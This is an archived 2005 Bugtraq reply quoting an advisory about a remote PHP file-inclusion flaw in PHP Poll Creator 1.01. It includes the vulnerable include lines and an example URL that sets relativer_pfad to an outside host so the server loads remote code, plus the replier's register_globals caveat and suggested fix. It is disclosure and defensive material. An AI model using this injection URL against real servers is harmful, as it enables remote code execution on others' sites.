Re: PHP Injection in PHP Poll Creator

From: Michael Cordover (michael.cordover_at_gmail.com)
Date: 05/26/05

  • Next message: Petey Beege: "Invision Power Board 1.* and 2.* Exploit (BID 13529)"
    Date: Thu, 26 May 2005 18:41:45 +1000
    To: bugtraq@securityfocus.com
    
    

    Hi,

    It should be noted that this only occurs where register_globals is set
    to on in php.ini or using php_flag in a .htaccess file which is
    currently not the default value. Thus the vulnrability is not major.

    Despite this, it is poor coding practice. Suggested fix is inserting,
    before that line:

    if (!empty($_REQUEST['relativer_pfad'])) {
      unset($relativer_pfad);
    }

    It should furthermore be noted that URL wrapped files which are
    included using include() are NOT parsed using PHP, rather their output
    is passed as raw HTML. This can still present an XSS-like attack,
    however.

    Regards,

    Michael Cordover

    On 25 May 2005 05:16:31 -0000, rash ilusion <torash@gmail.com> wrote:
    >
    >
    > svadvisory#6
    > -------------------------------------------------------------+
    > Title: PHP Injection in PHP Poll Creator |
    > Software: PHP Poll Creator v 1.01 |
    > Homepage: http://www.phppc.de +------------+
    > Finder: rash | 24.05.05 |
    > -------------------------------------------------------------+
    >
    > Description
    > -------------------------------------------------------------|
    >
    > Vulnerability has been found in file poll_vote.php
    >
    > <?php
    > include $relativer_pfad . "config.inc.php";
    > include ($relativer_pfad . "lib/functions.inc.php");
    > ....
    > ?>
    >
    > one can implement any php code, what we need are it, a delivery
    > the variable $relativer_pfad over URL, with which defintion our
    > address to our file with php the code this file must absolutely
    > config.inc.php is designated, otherwise cannot it not function
    > where one this file put down are it no matter, main thing one
    > give the exact address to the file config.inc.php with php the
    > code to where them are.
    >
    > Example
    > -------------------------------------------------------------|
    >
    > poll_vote.php?relativer_pfad=http://domain.tld/dir/
    >
    >
    > Conclusion
    > -------------------------------------------------------------|
    >
    > as I understood it, this is not any longer developed further
    > script program, but I go of it out of that, all versions am
    > concerned, but without guarantee.
    >
    > #############################################################
    >
    > rash || Search Vulnerabilities Team || www.svt.nukleon.us
    >

    -- 
    http://mine.mjec.net/
    

  • Next message: Petey Beege: "Invision Power Board 1.* and 2.* Exploit (BID 13529)"

    Relevant Pages

    • Re: include_path related issue
      ... The actual path of the root dir of my account with hosting provider ... I can specify additional subdomains in the control panel of my account. ... The .htaccess file in httpdocs is similar to the one in my master domain. ... PHP recognizes the include_path setting properly, ...
      (comp.lang.php)
    • Re: rewriting URLS -- ?p= -- beginner
      ... you should put this in the .htaccess file of your root ... So I just changed what you wrote to .htm. ... .htaccess file into that testing directory -- ... Is it a problem with my PHP code? ...
      (alt.php)
    • Re: Using local php.ini files
      ... Is there an Apache configuration directive needed to allow php directives in the htaccess file? ... I cannot set the Environment variable PHPRC. ...
      (comp.lang.php)
    • Re: Limit access to just one IP
      ... (from php/MySQL) ... Is it possible to solve this with a .htaccess file, or do I need a php ... or per file by checking the REMOTE_ADDR server ...
      (comp.lang.php)
    • Re: register_globals - turning on
      ... >default because of the history of PHP. ... I'm not too sure what exactly a .htaccess file is? ... Sessions contain persistent data, ... In the case of session data, the web server needs to be able ...
      (comp.lang.php)